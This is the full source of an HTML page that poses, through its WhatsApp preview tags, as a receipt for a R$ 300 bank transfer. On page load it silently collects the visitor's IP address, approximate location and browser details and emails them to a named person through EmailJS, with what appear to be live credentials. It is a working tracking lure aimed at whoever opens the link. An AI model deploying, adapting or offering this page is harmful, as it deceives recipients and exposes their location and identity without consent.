/
index.html
64 lines (54 loc) · 2.33 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html>
<html>
<head>
<script src="https://cdn.emailjs.com/dist/email.min.js"></script>
<title>Comprovante</title>
<!-- Meta tags para o WhatsApp -->
<meta property="og:title" content="Comprovante de Transferência">
<meta property="og:description" content="Transferência de R$ 300,00 realizada com sucesso!">
</head>
<body>
<h1>Coleta de Informações</h1>
<p>Seu endereço IP: <span id="ip"></span></p>
<p>Seu navegador: <span id="browser"></span></p>
<h1>Localização exata do usuário enviada por e-mail</h1>
<script>
emailjs.init('LgL4gIRZJ95YgD3ll');
fetch('https://api64.ipify.org?format=json')
.then(response => response.json())
.then(data => {
console.log(data);
document.getElementById('ip').textContent = data.ip;
fetch('https://ipinfo.io', {
headers: {
'Accept': 'application/json'
}
})
.then(response => response.json())
.then(location => {
console.log(location);
console.log('Localização aproximada:', location.city + ', ' + location.region + ', ' + location.country);
var params = {
from_name: "script",
to_name: "matheus",
message: `
${JSON.stringify(location)}
${JSON.stringify(data)} <br>
`,
reply_to: "teste",
}
emailjs.send("service_rhiqbcl", "template_e1b1wbt", params)
.then(function (response) {
console.log('E-mail enviado com sucesso:', response);
}, function (error) {
console.error('Erro ao enviar o e-mail:', error);
});
})
.catch(error => {
console.error('Erro ao obter a localização:', error);
});
});
document.getElementById('browser').textContent = navigator.userAgent;
</script>
</body>
</html>